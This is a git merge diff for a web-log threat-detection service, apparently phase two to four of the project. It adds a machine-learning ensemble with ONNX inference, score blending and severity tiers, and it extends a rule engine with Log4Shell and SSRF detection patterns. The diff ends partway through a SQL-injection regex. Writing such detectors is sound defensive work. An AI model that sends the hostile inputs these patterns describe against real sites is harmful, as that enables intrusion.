Merge pull request #108 from CarterPerez-dev/project/ai-threat-detection
Project/ai threat detection phase 2-4
This commit is contained in:
commit
65e85fce39
|
|
@ -13,6 +13,7 @@ API_KEY=changeme-generate-a-real-key
|
||||||
POSTGRES_HOST_PORT=16969
|
POSTGRES_HOST_PORT=16969
|
||||||
REDIS_HOST_PORT=26969
|
REDIS_HOST_PORT=26969
|
||||||
BACKEND_HOST_PORT=36969
|
BACKEND_HOST_PORT=36969
|
||||||
|
FRONTEND_HOST_PORT=46969
|
||||||
|
|
||||||
# PostgreSQL
|
# PostgreSQL
|
||||||
POSTGRES_DB=angelusvigil
|
POSTGRES_DB=angelusvigil
|
||||||
|
|
|
||||||
|
|
@ -1,7 +1,7 @@
|
||||||
# ©AngelaMos | 2026
|
# ©AngelaMos | 2026
|
||||||
# .gitignore
|
# .gitignore
|
||||||
|
|
||||||
# Planning docs
|
# dev docs
|
||||||
.angelusvigil/
|
.angelusvigil/
|
||||||
|
|
||||||
# Environment
|
# Environment
|
||||||
|
|
|
||||||
|
|
@ -17,4 +17,3 @@ async def get_session(request: Request) -> AsyncIterator[AsyncSession]:
|
||||||
factory = request.app.state.session_factory
|
factory = request.app.state.session_factory
|
||||||
async with factory() as session:
|
async with factory() as session:
|
||||||
yield session
|
yield session
|
||||||
await session.commit()
|
|
||||||
|
|
|
||||||
|
|
@ -0,0 +1,42 @@
|
||||||
|
"""
|
||||||
|
©AngelaMos | 2026
|
||||||
|
ingest.py
|
||||||
|
"""
|
||||||
|
|
||||||
|
import asyncio
|
||||||
|
|
||||||
|
from fastapi import APIRouter, Request
|
||||||
|
from pydantic import BaseModel
|
||||||
|
|
||||||
|
router = APIRouter(prefix="/ingest", tags=["ingest"])
|
||||||
|
|
||||||
|
|
||||||
|
class BatchIngestRequest(BaseModel):
|
||||||
|
"""
|
||||||
|
Payload for bulk log line ingestion
|
||||||
|
"""
|
||||||
|
|
||||||
|
lines: list[str]
|
||||||
|
|
||||||
|
|
||||||
|
@router.post("/batch", status_code=200)
|
||||||
|
async def ingest_batch(
|
||||||
|
body: BatchIngestRequest,
|
||||||
|
request: Request,
|
||||||
|
) -> dict[str, int]:
|
||||||
|
"""
|
||||||
|
Push a batch of raw log lines into the pipeline queue
|
||||||
|
"""
|
||||||
|
pipeline = getattr(request.app.state, "pipeline", None)
|
||||||
|
if pipeline is None:
|
||||||
|
return {"queued": 0}
|
||||||
|
|
||||||
|
queued = 0
|
||||||
|
for line in body.lines:
|
||||||
|
try:
|
||||||
|
pipeline.raw_queue.put_nowait(line)
|
||||||
|
queued += 1
|
||||||
|
except asyncio.QueueFull:
|
||||||
|
break
|
||||||
|
|
||||||
|
return {"queued": queued}
|
||||||
|
|
@ -5,30 +5,60 @@ models_api.py
|
||||||
|
|
||||||
import uuid
|
import uuid
|
||||||
|
|
||||||
from fastapi import APIRouter
|
from fastapi import APIRouter, Request
|
||||||
|
from sqlalchemy import select
|
||||||
|
from sqlalchemy.ext.asyncio import AsyncSession
|
||||||
|
|
||||||
|
from app.models.model_metadata import ModelMetadata
|
||||||
|
|
||||||
router = APIRouter(prefix="/models", tags=["models"])
|
router = APIRouter(prefix="/models", tags=["models"])
|
||||||
|
|
||||||
|
|
||||||
@router.get("/status")
|
@router.get("/status")
|
||||||
async def model_status() -> dict[str, object]:
|
async def model_status(request: Request, ) -> dict[str, object]:
|
||||||
"""
|
"""
|
||||||
Return the status of active ML models.
|
Return the status of active ML models
|
||||||
"""
|
"""
|
||||||
|
models_loaded = getattr(request.app.state, "models_loaded", False)
|
||||||
|
detection_mode = getattr(request.app.state, "detection_mode", "rules")
|
||||||
|
|
||||||
|
active_models: list[dict[str, object]] = []
|
||||||
|
session_factory = getattr(request.app.state, "session_factory", None)
|
||||||
|
if session_factory is not None:
|
||||||
|
async with session_factory() as session:
|
||||||
|
active_models = await _get_active_models(session)
|
||||||
|
|
||||||
return {
|
return {
|
||||||
"active_models": [],
|
"models_loaded": models_loaded,
|
||||||
"detection_mode": "rules-only",
|
"detection_mode": detection_mode,
|
||||||
"note": "ML models available after Phase 2 training",
|
"active_models": active_models,
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
@router.post("/retrain", status_code=202)
|
@router.post("/retrain", status_code=202)
|
||||||
async def retrain() -> dict[str, object]:
|
async def retrain() -> dict[str, object]:
|
||||||
"""
|
"""
|
||||||
Trigger an async model retraining job.
|
Trigger an async model retraining job
|
||||||
"""
|
"""
|
||||||
return {
|
return {
|
||||||
"status": "accepted",
|
"status": "accepted",
|
||||||
"job_id": uuid.uuid4().hex,
|
"job_id": uuid.uuid4().hex,
|
||||||
"note": "Retraining not available in Phase 1",
|
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
|
async def _get_active_models(
|
||||||
|
session: AsyncSession, ) -> list[dict[str, object]]:
|
||||||
|
"""
|
||||||
|
Query all active model metadata records
|
||||||
|
"""
|
||||||
|
query = select(ModelMetadata).where(
|
||||||
|
ModelMetadata.is_active == True # type: ignore[arg-type] # noqa: E712
|
||||||
|
)
|
||||||
|
rows = (await session.execute(query)).scalars().all()
|
||||||
|
return [{
|
||||||
|
"model_type": row.model_type,
|
||||||
|
"version": row.version,
|
||||||
|
"training_samples": row.training_samples,
|
||||||
|
"metrics": row.metrics,
|
||||||
|
"threshold": row.threshold,
|
||||||
|
} for row in rows]
|
||||||
|
|
|
||||||
|
|
@ -15,8 +15,8 @@ router = APIRouter(prefix="/stats", tags=["stats"])
|
||||||
|
|
||||||
@router.get("", response_model=StatsResponse)
|
@router.get("", response_model=StatsResponse)
|
||||||
async def get_stats(
|
async def get_stats(
|
||||||
session: AsyncSession = Depends(get_session),
|
session: AsyncSession = Depends(get_session),
|
||||||
time_range: str = Query("24h", alias="range"),
|
time_range: str = Query("24h", alias="range"),
|
||||||
) -> StatsResponse:
|
) -> StatsResponse:
|
||||||
"""
|
"""
|
||||||
Aggregate threat statistics for a given time window.
|
Aggregate threat statistics for a given time window.
|
||||||
|
|
|
||||||
|
|
@ -18,13 +18,13 @@ router = APIRouter(prefix="/threats", tags=["threats"])
|
||||||
|
|
||||||
@router.get("", response_model=ThreatListResponse)
|
@router.get("", response_model=ThreatListResponse)
|
||||||
async def list_threats(
|
async def list_threats(
|
||||||
session: AsyncSession = Depends(get_session),
|
session: AsyncSession = Depends(get_session),
|
||||||
limit: int = Query(50, ge=1, le=100),
|
limit: int = Query(50, ge=1, le=100),
|
||||||
offset: int = Query(0, ge=0),
|
offset: int = Query(0, ge=0),
|
||||||
severity: str | None = Query(None),
|
severity: str | None = Query(None),
|
||||||
source_ip: str | None = Query(None),
|
source_ip: str | None = Query(None),
|
||||||
since: datetime | None = Query(None),
|
since: datetime | None = Query(None),
|
||||||
until: datetime | None = Query(None),
|
until: datetime | None = Query(None),
|
||||||
) -> ThreatListResponse:
|
) -> ThreatListResponse:
|
||||||
"""
|
"""
|
||||||
List threat events with optional filters and pagination.
|
List threat events with optional filters and pagination.
|
||||||
|
|
@ -42,8 +42,8 @@ async def list_threats(
|
||||||
|
|
||||||
@router.get("/{threat_id}", response_model=ThreatEventResponse)
|
@router.get("/{threat_id}", response_model=ThreatEventResponse)
|
||||||
async def get_threat(
|
async def get_threat(
|
||||||
threat_id: uuid.UUID,
|
threat_id: uuid.UUID,
|
||||||
session: AsyncSession = Depends(get_session),
|
session: AsyncSession = Depends(get_session),
|
||||||
) -> ThreatEventResponse:
|
) -> ThreatEventResponse:
|
||||||
"""
|
"""
|
||||||
Fetch a single threat event by ID.
|
Fetch a single threat event by ID.
|
||||||
|
|
|
||||||
|
|
@ -6,9 +6,13 @@ dispatcher.py
|
||||||
import logging
|
import logging
|
||||||
|
|
||||||
import redis.asyncio as aioredis
|
import redis.asyncio as aioredis
|
||||||
from sqlalchemy.ext.asyncio import AsyncSession, async_sessionmaker
|
from sqlalchemy.ext.asyncio import (
|
||||||
|
AsyncSession,
|
||||||
|
async_sessionmaker,
|
||||||
|
)
|
||||||
|
|
||||||
from app.core.alerts import ALERTS_CHANNEL
|
from app.core.alerts import ALERTS_CHANNEL
|
||||||
|
from app.core.detection.ensemble import classify_severity
|
||||||
from app.core.ingestion.pipeline import ScoredRequest
|
from app.core.ingestion.pipeline import ScoredRequest
|
||||||
from app.schemas.websocket import WebSocketAlert
|
from app.schemas.websocket import WebSocketAlert
|
||||||
from app.services.threat_service import create_threat_event
|
from app.services.threat_service import create_threat_event
|
||||||
|
|
@ -18,11 +22,12 @@ logger = logging.getLogger(__name__)
|
||||||
|
|
||||||
class AlertDispatcher:
|
class AlertDispatcher:
|
||||||
"""
|
"""
|
||||||
Routes scored threat events to storage, pub/sub, and structured logging.
|
Routes scored threat events to storage, pub/sub,
|
||||||
|
and structured logging
|
||||||
|
|
||||||
MEDIUM+ severity events are persisted to PostgreSQL and published
|
MEDIUM+ severity events are persisted to PostgreSQL
|
||||||
to the Redis alerts channel for WebSocket relay.
|
and published to the Redis alerts channel for
|
||||||
All events are logged to stdout.
|
WebSocket relay. All events are logged to stdout.
|
||||||
"""
|
"""
|
||||||
|
|
||||||
def __init__(
|
def __init__(
|
||||||
|
|
@ -35,39 +40,49 @@ class AlertDispatcher:
|
||||||
|
|
||||||
async def dispatch(self, scored: ScoredRequest) -> None:
|
async def dispatch(self, scored: ScoredRequest) -> None:
|
||||||
"""
|
"""
|
||||||
Handle a scored request from the pipeline's dispatch stage.
|
Handle a scored request from the pipeline's
|
||||||
|
dispatch stage
|
||||||
"""
|
"""
|
||||||
|
severity = classify_severity(scored.final_score)
|
||||||
|
|
||||||
logger.info(
|
logger.info(
|
||||||
"threat_event severity=%s score=%.2f ip=%s path=%s rules=%s",
|
"threat_event severity=%s score=%.2f mode=%s ip=%s path=%s rules=%s",
|
||||||
scored.rule_result.severity,
|
severity,
|
||||||
scored.rule_result.threat_score,
|
scored.final_score,
|
||||||
|
scored.detection_mode,
|
||||||
scored.entry.ip,
|
scored.entry.ip,
|
||||||
scored.entry.path,
|
scored.entry.path,
|
||||||
scored.rule_result.matched_rules,
|
scored.rule_result.matched_rules,
|
||||||
)
|
)
|
||||||
|
|
||||||
if scored.rule_result.severity in ("HIGH", "MEDIUM"):
|
if severity in ("HIGH", "MEDIUM"):
|
||||||
await self._store_event(scored)
|
await self._store_event(scored)
|
||||||
await self._publish_alert(scored)
|
await self._publish_alert(scored, severity)
|
||||||
|
|
||||||
async def _store_event(self, scored: ScoredRequest) -> None:
|
async def _store_event(self, scored: ScoredRequest) -> None:
|
||||||
"""
|
"""
|
||||||
Persist the scored request as a threat event in PostgreSQL.
|
Persist the scored request as a threat event
|
||||||
|
in PostgreSQL
|
||||||
"""
|
"""
|
||||||
async with self._session_factory() as session:
|
async with self._session_factory() as session:
|
||||||
await create_threat_event(session, scored)
|
await create_threat_event(session, scored)
|
||||||
await session.commit()
|
await session.commit()
|
||||||
|
|
||||||
async def _publish_alert(self, scored: ScoredRequest) -> None:
|
async def _publish_alert(
|
||||||
|
self,
|
||||||
|
scored: ScoredRequest,
|
||||||
|
severity: str,
|
||||||
|
) -> None:
|
||||||
"""
|
"""
|
||||||
Publish a real-time alert to the Redis pub/sub channel.
|
Publish a real-time alert to the Redis pub/sub
|
||||||
|
channel
|
||||||
"""
|
"""
|
||||||
alert = WebSocketAlert(
|
alert = WebSocketAlert(
|
||||||
timestamp=scored.entry.timestamp,
|
timestamp=scored.entry.timestamp,
|
||||||
source_ip=scored.entry.ip,
|
source_ip=scored.entry.ip,
|
||||||
request_path=scored.entry.path,
|
request_path=scored.entry.path,
|
||||||
threat_score=scored.rule_result.threat_score,
|
threat_score=scored.final_score,
|
||||||
severity=scored.rule_result.severity,
|
severity=severity,
|
||||||
component_scores=scored.rule_result.component_scores,
|
component_scores=scored.rule_result.component_scores,
|
||||||
)
|
)
|
||||||
await self._redis.publish(ALERTS_CHANNEL, alert.model_dump_json())
|
await self._redis.publish(ALERTS_CHANNEL, alert.model_dump_json())
|
||||||
|
|
|
||||||
|
|
@ -0,0 +1,66 @@
|
||||||
|
"""
|
||||||
|
©AngelaMos | 2026
|
||||||
|
ensemble.py
|
||||||
|
"""
|
||||||
|
|
||||||
|
|
||||||
|
def normalize_ae_score(error: float, threshold: float) -> float:
|
||||||
|
"""
|
||||||
|
Normalize autoencoder reconstruction error to [0, 1]
|
||||||
|
"""
|
||||||
|
if threshold <= 0:
|
||||||
|
return 0.0
|
||||||
|
return min(error / (threshold * 2), 1.0)
|
||||||
|
|
||||||
|
|
||||||
|
def normalize_if_score(raw_score: float) -> float:
|
||||||
|
"""
|
||||||
|
Normalize isolation forest score to [0, 1]
|
||||||
|
|
||||||
|
sklearn IF returns negative scores for anomalies,
|
||||||
|
positive for normal samples
|
||||||
|
"""
|
||||||
|
return (1 - raw_score) / 2.0
|
||||||
|
|
||||||
|
|
||||||
|
def fuse_scores(
|
||||||
|
scores: dict[str, float],
|
||||||
|
weights: dict[str, float],
|
||||||
|
) -> float:
|
||||||
|
"""
|
||||||
|
Weighted average of per-model normalized scores
|
||||||
|
"""
|
||||||
|
total = 0.0
|
||||||
|
weight_sum = 0.0
|
||||||
|
for key, weight in weights.items():
|
||||||
|
if key in scores:
|
||||||
|
total += scores[key] * weight
|
||||||
|
weight_sum += weight
|
||||||
|
if weight_sum == 0:
|
||||||
|
return 0.0
|
||||||
|
return total / weight_sum
|
||||||
|
|
||||||
|
|
||||||
|
def blend_scores(
|
||||||
|
ml_score: float,
|
||||||
|
rule_score: float,
|
||||||
|
ml_weight: float = 0.7,
|
||||||
|
) -> float:
|
||||||
|
"""
|
||||||
|
Blend ML ensemble score with rule engine score
|
||||||
|
"""
|
||||||
|
return min(
|
||||||
|
ml_score * ml_weight + rule_score * (1.0 - ml_weight),
|
||||||
|
1.0,
|
||||||
|
)
|
||||||
|
|
||||||
|
|
||||||
|
def classify_severity(score: float) -> str:
|
||||||
|
"""
|
||||||
|
Map a unified threat score to a severity label
|
||||||
|
"""
|
||||||
|
if score >= 0.7:
|
||||||
|
return "HIGH"
|
||||||
|
if score >= 0.5:
|
||||||
|
return "MEDIUM"
|
||||||
|
return "LOW"
|
||||||
|
|
@ -0,0 +1,154 @@
|
||||||
|
"""
|
||||||
|
©AngelaMos | 2026
|
||||||
|
inference.py
|
||||||
|
"""
|
||||||
|
|
||||||
|
import json
|
||||||
|
import logging
|
||||||
|
from pathlib import Path
|
||||||
|
from typing import Any
|
||||||
|
|
||||||
|
import numpy as np
|
||||||
|
|
||||||
|
try:
|
||||||
|
import onnxruntime as ort
|
||||||
|
except ImportError:
|
||||||
|
ort = None
|
||||||
|
|
||||||
|
logger = logging.getLogger(__name__)
|
||||||
|
|
||||||
|
AE_FILENAME = "ae.onnx"
|
||||||
|
RF_FILENAME = "rf.onnx"
|
||||||
|
IF_FILENAME = "if.onnx"
|
||||||
|
SCALER_FILENAME = "scaler.json"
|
||||||
|
THRESHOLD_FILENAME = "threshold.json"
|
||||||
|
|
||||||
|
|
||||||
|
class InferenceEngine:
|
||||||
|
"""
|
||||||
|
ONNX-based inference engine for the 3-model ML ensemble.
|
||||||
|
|
||||||
|
Loads autoencoder, random forest, and isolation forest ONNX sessions
|
||||||
|
from a model directory. Returns None for predictions when models
|
||||||
|
are not available.
|
||||||
|
"""
|
||||||
|
|
||||||
|
def __init__(self, model_dir: str) -> None:
|
||||||
|
self._ae_session: ort.InferenceSession | None = None
|
||||||
|
self._rf_session: ort.InferenceSession | None = None
|
||||||
|
self._if_session: ort.InferenceSession | None = None
|
||||||
|
self._scaler_center: np.ndarray | None = None
|
||||||
|
self._scaler_scale: np.ndarray | None = None
|
||||||
|
self._threshold: float = 0.0
|
||||||
|
self._loaded = False
|
||||||
|
|
||||||
|
if ort is None:
|
||||||
|
logger.warning("onnxruntime not installed")
|
||||||
|
return
|
||||||
|
|
||||||
|
model_path = Path(model_dir)
|
||||||
|
ae_path = model_path / AE_FILENAME
|
||||||
|
rf_path = model_path / RF_FILENAME
|
||||||
|
if_path = model_path / IF_FILENAME
|
||||||
|
scaler_path = model_path / SCALER_FILENAME
|
||||||
|
threshold_path = model_path / THRESHOLD_FILENAME
|
||||||
|
|
||||||
|
required = [ae_path, rf_path, if_path, scaler_path, threshold_path]
|
||||||
|
if not all(p.exists() for p in required):
|
||||||
|
return
|
||||||
|
|
||||||
|
try:
|
||||||
|
opts = ort.SessionOptions()
|
||||||
|
opts.inter_op_num_threads = 1
|
||||||
|
opts.intra_op_num_threads = 1
|
||||||
|
|
||||||
|
self._ae_session = ort.InferenceSession(str(ae_path), opts)
|
||||||
|
self._rf_session = ort.InferenceSession(str(rf_path), opts)
|
||||||
|
self._if_session = ort.InferenceSession(str(if_path), opts)
|
||||||
|
|
||||||
|
scaler_data = json.loads(scaler_path.read_text())
|
||||||
|
self._scaler_center = np.array(scaler_data["center"],
|
||||||
|
dtype=np.float32)
|
||||||
|
self._scaler_scale = np.array(scaler_data["scale"],
|
||||||
|
dtype=np.float32)
|
||||||
|
|
||||||
|
threshold_data = json.loads(threshold_path.read_text())
|
||||||
|
self._threshold = float(threshold_data["threshold"])
|
||||||
|
|
||||||
|
self._loaded = True
|
||||||
|
logger.info("Loaded 3 ONNX models from %s", model_dir)
|
||||||
|
except Exception:
|
||||||
|
logger.exception("Failed to load ONNX models from %s", model_dir)
|
||||||
|
|
||||||
|
@property
|
||||||
|
def is_loaded(self) -> bool:
|
||||||
|
"""
|
||||||
|
Whether all 3 models are loaded and ready for inference
|
||||||
|
"""
|
||||||
|
return self._loaded
|
||||||
|
|
||||||
|
@property
|
||||||
|
def threshold(self) -> float:
|
||||||
|
"""
|
||||||
|
Autoencoder anomaly detection threshold
|
||||||
|
"""
|
||||||
|
return self._threshold
|
||||||
|
|
||||||
|
def predict(self, batch: np.ndarray) -> dict[str, list[float]] | None:
|
||||||
|
"""
|
||||||
|
Run all 3 models on a batch of feature vectors.
|
||||||
|
|
||||||
|
Returns per-model raw scores for ensemble fusion, or None
|
||||||
|
if models are not loaded.
|
||||||
|
"""
|
||||||
|
if not self._loaded:
|
||||||
|
return None
|
||||||
|
|
||||||
|
ae_input = self._scale_for_ae(batch)
|
||||||
|
ae_reconstructed = self._ae_session.run( # type: ignore[union-attr]
|
||||||
|
None, {"features": ae_input})[0]
|
||||||
|
ae_errors = np.mean((ae_input - ae_reconstructed)**2, axis=1)
|
||||||
|
|
||||||
|
rf_result = self._rf_session.run( # type: ignore[union-attr]
|
||||||
|
None, {"features": batch})
|
||||||
|
rf_proba = self._extract_rf_proba(rf_result[1])
|
||||||
|
|
||||||
|
if_scores_raw = self._if_session.run( # type: ignore[union-attr]
|
||||||
|
None, {"features": batch})[1].flatten()
|
||||||
|
|
||||||
|
return {
|
||||||
|
"ae": ae_errors.tolist(),
|
||||||
|
"rf": rf_proba.tolist(),
|
||||||
|
"if": if_scores_raw.tolist(),
|
||||||
|
}
|
||||||
|
|
||||||
|
def _scale_for_ae(self, batch: np.ndarray) -> np.ndarray:
|
||||||
|
"""
|
||||||
|
Apply RobustScaler transform for autoencoder input
|
||||||
|
"""
|
||||||
|
if self._scaler_center is None or self._scaler_scale is None:
|
||||||
|
return batch
|
||||||
|
return (batch - self._scaler_center) / self._scaler_scale # type: ignore[no-any-return]
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def _extract_rf_proba(
|
||||||
|
ort_output: list[Any] | np.ndarray
|
||||||
|
) -> np.ndarray:
|
||||||
|
"""
|
||||||
|
Extract attack probability from skl2onnx RF output format.
|
||||||
|
|
||||||
|
skl2onnx outputs a list of dicts [{0: p0, 1: p1}, ...] for
|
||||||
|
probability output.
|
||||||
|
"""
|
||||||
|
if isinstance(ort_output, np.ndarray):
|
||||||
|
if ort_output.ndim == 2 and ort_output.shape[1] >= 2:
|
||||||
|
return ort_output[:, 1].astype(np.float32)
|
||||||
|
return ort_output.flatten().astype(np.float32)
|
||||||
|
|
||||||
|
proba = []
|
||||||
|
for row in ort_output:
|
||||||
|
if isinstance(row, dict):
|
||||||
|
proba.append(float(row.get(1, 0.0)))
|
||||||
|
else:
|
||||||
|
proba.append(float(row))
|
||||||
|
return np.array(proba, dtype=np.float32)
|
||||||
|
|
@ -11,8 +11,10 @@ from app.core.features.patterns import (
|
||||||
COMMAND_INJECTION,
|
COMMAND_INJECTION,
|
||||||
DOUBLE_ENCODED,
|
DOUBLE_ENCODED,
|
||||||
FILE_INCLUSION,
|
FILE_INCLUSION,
|
||||||
|
LOG4SHELL,
|
||||||
PATH_TRAVERSAL,
|
PATH_TRAVERSAL,
|
||||||
SQLI,
|
SQLI,
|
||||||
|
SSRF,
|
||||||
XSS,
|
XSS,
|
||||||
)
|
)
|
||||||
from app.core.features.signatures import SCANNER_USER_AGENTS
|
from app.core.features.signatures import SCANNER_USER_AGENTS
|
||||||
|
|
@ -41,10 +43,12 @@ class _ThresholdRule(NamedTuple):
|
||||||
|
|
||||||
|
|
||||||
_PATTERN_RULES: list[_PatternRule] = [
|
_PATTERN_RULES: list[_PatternRule] = [
|
||||||
|
_PatternRule("LOG4SHELL", LOG4SHELL, 0.95),
|
||||||
_PatternRule("COMMAND_INJECTION", COMMAND_INJECTION, 0.90),
|
_PatternRule("COMMAND_INJECTION", COMMAND_INJECTION, 0.90),
|
||||||
_PatternRule("SQL_INJECTION", SQLI, 0.85),
|
_PatternRule("SQL_INJECTION", SQLI, 0.85),
|
||||||
_PatternRule("XSS", XSS, 0.80),
|
_PatternRule("XSS", XSS, 0.80),
|
||||||
_PatternRule("FILE_INCLUSION", FILE_INCLUSION, 0.75),
|
_PatternRule("FILE_INCLUSION", FILE_INCLUSION, 0.75),
|
||||||
|
_PatternRule("SSRF", SSRF, 0.70),
|
||||||
_PatternRule("PATH_TRAVERSAL", PATH_TRAVERSAL, 0.60),
|
_PatternRule("PATH_TRAVERSAL", PATH_TRAVERSAL, 0.60),
|
||||||
]
|
]
|
||||||
|
|
||||||
|
|
|
||||||
|
|
@ -40,7 +40,8 @@ class GeoIPService:
|
||||||
self._reader = geoip2.database.Reader(db_path)
|
self._reader = geoip2.database.Reader(db_path)
|
||||||
logger.info("GeoIP database loaded from %s", db_path)
|
logger.info("GeoIP database loaded from %s", db_path)
|
||||||
else:
|
else:
|
||||||
logger.warning("GeoIP database not found at %s — lookups disabled", db_path)
|
logger.warning("GeoIP database not found at %s — lookups disabled",
|
||||||
|
db_path)
|
||||||
|
|
||||||
async def lookup(self, ip: str) -> GeoResult | None:
|
async def lookup(self, ip: str) -> GeoResult | None:
|
||||||
"""
|
"""
|
||||||
|
|
|
||||||
|
|
@ -91,7 +91,7 @@ class WindowAggregator:
|
||||||
|
|
||||||
results = await pipe.execute()
|
results = await pipe.execute()
|
||||||
|
|
||||||
read_start = 14
|
read_start = len(keys) * 2
|
||||||
req_count_1m = results[read_start]
|
req_count_1m = results[read_start]
|
||||||
req_count_5m = results[read_start + 1]
|
req_count_5m = results[read_start + 1]
|
||||||
req_count_10m = results[read_start + 2]
|
req_count_10m = results[read_start + 2]
|
||||||
|
|
@ -171,21 +171,21 @@ def _path_depth_variance(depth_members: list[str]) -> float:
|
||||||
return 0.0
|
return 0.0
|
||||||
depths = [int(m.split(":")[0]) for m in depth_members]
|
depths = [int(m.split(":")[0]) for m in depth_members]
|
||||||
mean = sum(depths) / len(depths)
|
mean = sum(depths) / len(depths)
|
||||||
return sum((d - mean) ** 2 for d in depths) / len(depths)
|
return sum((d - mean)**2 for d in depths) / len(depths)
|
||||||
|
|
||||||
|
|
||||||
def _inter_request_time_stats(
|
def _inter_request_time_stats(
|
||||||
entries: list[tuple[str, float]],
|
entries: list[tuple[str, float]], ) -> tuple[float, float]:
|
||||||
) -> tuple[float, float]:
|
|
||||||
"""
|
"""
|
||||||
Mean and standard deviation of inter-request intervals in milliseconds.
|
Mean and standard deviation of inter-request intervals in milliseconds.
|
||||||
"""
|
"""
|
||||||
if len(entries) < 2:
|
if len(entries) < 2:
|
||||||
return 0.0, 0.0
|
return 0.0, 0.0
|
||||||
timestamps = sorted(score for _, score in entries)
|
timestamps = sorted(score for _, score in entries)
|
||||||
deltas = [(timestamps[i + 1] - timestamps[i]) * 1000 for i in range(len(timestamps) - 1)]
|
deltas = [(timestamps[i + 1] - timestamps[i]) * 1000
|
||||||
|
for i in range(len(timestamps) - 1)]
|
||||||
mean = sum(deltas) / len(deltas)
|
mean = sum(deltas) / len(deltas)
|
||||||
if len(deltas) < 2:
|
if len(deltas) < 2:
|
||||||
return mean, 0.0
|
return mean, 0.0
|
||||||
variance = sum((d - mean) ** 2 for d in deltas) / len(deltas)
|
variance = sum((d - mean)**2 for d in deltas) / len(deltas)
|
||||||
return mean, math.sqrt(variance)
|
return mean, math.sqrt(variance)
|
||||||
|
|
|
||||||
|
|
@ -20,8 +20,7 @@ def _encode_country(code: str) -> float:
|
||||||
|
|
||||||
|
|
||||||
def encode_for_inference(
|
def encode_for_inference(
|
||||||
features: dict[str, int | float | bool | str],
|
features: dict[str, int | float | bool | str], ) -> list[float]:
|
||||||
) -> list[float]:
|
|
||||||
"""
|
"""
|
||||||
Encode a combined feature dict into a 35-element float vector
|
Encode a combined feature dict into a 35-element float vector
|
||||||
matching the model input specification.
|
matching the model input specification.
|
||||||
|
|
|
||||||
|
|
@ -56,27 +56,50 @@ def extract_request_features(
|
||||||
_, ext = splitext(entry.path)
|
_, ext = splitext(entry.path)
|
||||||
|
|
||||||
return {
|
return {
|
||||||
"http_method": entry.method,
|
"http_method":
|
||||||
"path_depth": len([s for s in entry.path.split("/") if s]),
|
entry.method,
|
||||||
"path_entropy": _shannon_entropy(entry.path),
|
"path_depth":
|
||||||
"path_length": path_len,
|
len([s for s in entry.path.split("/") if s]),
|
||||||
"query_string_length": len(entry.query_string),
|
"path_entropy":
|
||||||
"query_param_count": (len(entry.query_string.split("&")) if entry.query_string else 0),
|
_shannon_entropy(entry.path),
|
||||||
"has_encoded_chars": bool(ENCODED_CHARS.search(full_uri)),
|
"path_length":
|
||||||
"has_double_encoding": bool(DOUBLE_ENCODED.search(full_uri)),
|
path_len,
|
||||||
"status_code": entry.status_code,
|
"query_string_length":
|
||||||
"status_class": f"{entry.status_code // 100}xx",
|
len(entry.query_string),
|
||||||
"response_size": entry.response_size,
|
"query_param_count":
|
||||||
"hour_of_day": entry.timestamp.hour,
|
(len(entry.query_string.split("&")) if entry.query_string else 0),
|
||||||
"day_of_week": entry.timestamp.weekday(),
|
"has_encoded_chars":
|
||||||
"is_weekend": entry.timestamp.weekday() >= 5,
|
bool(ENCODED_CHARS.search(full_uri)),
|
||||||
"ua_length": len(entry.user_agent),
|
"has_double_encoding":
|
||||||
"ua_entropy": _shannon_entropy(entry.user_agent),
|
bool(DOUBLE_ENCODED.search(full_uri)),
|
||||||
"is_known_bot": any(sig in ua_lower for sig in BOT_USER_AGENTS),
|
"status_code":
|
||||||
"is_known_scanner": any(sig in ua_lower for sig in SCANNER_USER_AGENTS),
|
entry.status_code,
|
||||||
"has_attack_pattern": bool(ATTACK_COMBINED.search(full_uri)),
|
"status_class":
|
||||||
"special_char_ratio": non_alnum / path_len if path_len else 0.0,
|
f"{entry.status_code // 100}xx",
|
||||||
"file_extension": ext,
|
"response_size":
|
||||||
"country_code": country_code,
|
entry.response_size,
|
||||||
"is_private_ip": _is_private_ip(entry.ip),
|
"hour_of_day":
|
||||||
|
entry.timestamp.hour,
|
||||||
|
"day_of_week":
|
||||||
|
entry.timestamp.weekday(),
|
||||||
|
"is_weekend":
|
||||||
|
entry.timestamp.weekday() >= 5,
|
||||||
|
"ua_length":
|
||||||
|
len(entry.user_agent),
|
||||||
|
"ua_entropy":
|
||||||
|
_shannon_entropy(entry.user_agent),
|
||||||
|
"is_known_bot":
|
||||||
|
any(sig in ua_lower for sig in BOT_USER_AGENTS),
|
||||||
|
"is_known_scanner":
|
||||||
|
any(sig in ua_lower for sig in SCANNER_USER_AGENTS),
|
||||||
|
"has_attack_pattern":
|
||||||
|
bool(ATTACK_COMBINED.search(full_uri)),
|
||||||
|
"special_char_ratio":
|
||||||
|
non_alnum / path_len if path_len else 0.0,
|
||||||
|
"file_extension":
|
||||||
|
ext,
|
||||||
|
"country_code":
|
||||||
|
country_code,
|
||||||
|
"is_private_ip":
|
||||||
|
_is_private_ip(entry.ip),
|
||||||
}
|
}
|
||||||
|
|
|
||||||
|
|
@ -93,14 +93,14 @@ CATEGORICAL_ENCODERS: dict[str, dict[str, int]] = {
|
||||||
"file_extension": EXTENSION_MAP,
|
"file_extension": EXTENSION_MAP,
|
||||||
}
|
}
|
||||||
|
|
||||||
BOOLEAN_FEATURES: frozenset[str] = frozenset(
|
WINDOWED_FEATURE_NAMES: list[str] = FEATURE_ORDER[23:]
|
||||||
{
|
|
||||||
"has_encoded_chars",
|
BOOLEAN_FEATURES: frozenset[str] = frozenset({
|
||||||
"has_double_encoding",
|
"has_encoded_chars",
|
||||||
"is_weekend",
|
"has_double_encoding",
|
||||||
"is_known_bot",
|
"is_weekend",
|
||||||
"is_known_scanner",
|
"is_known_bot",
|
||||||
"has_attack_pattern",
|
"is_known_scanner",
|
||||||
"is_private_ip",
|
"has_attack_pattern",
|
||||||
}
|
"is_private_ip",
|
||||||
)
|
})
|
||||||
|
|
|
||||||
|
|
@ -8,27 +8,25 @@ import re
|
||||||
ENCODED_CHARS = re.compile(r"%[0-9a-fA-F]{2}")
|
ENCODED_CHARS = re.compile(r"%[0-9a-fA-F]{2}")
|
||||||
DOUBLE_ENCODED = re.compile(r"%25[0-9a-fA-F]{2}")
|
DOUBLE_ENCODED = re.compile(r"%25[0-9a-fA-F]{2}")
|
||||||
|
|
||||||
_SQLI = (
|
_SQLI = (r"(?:union\s+(?:all\s+)?select|"
|
||||||
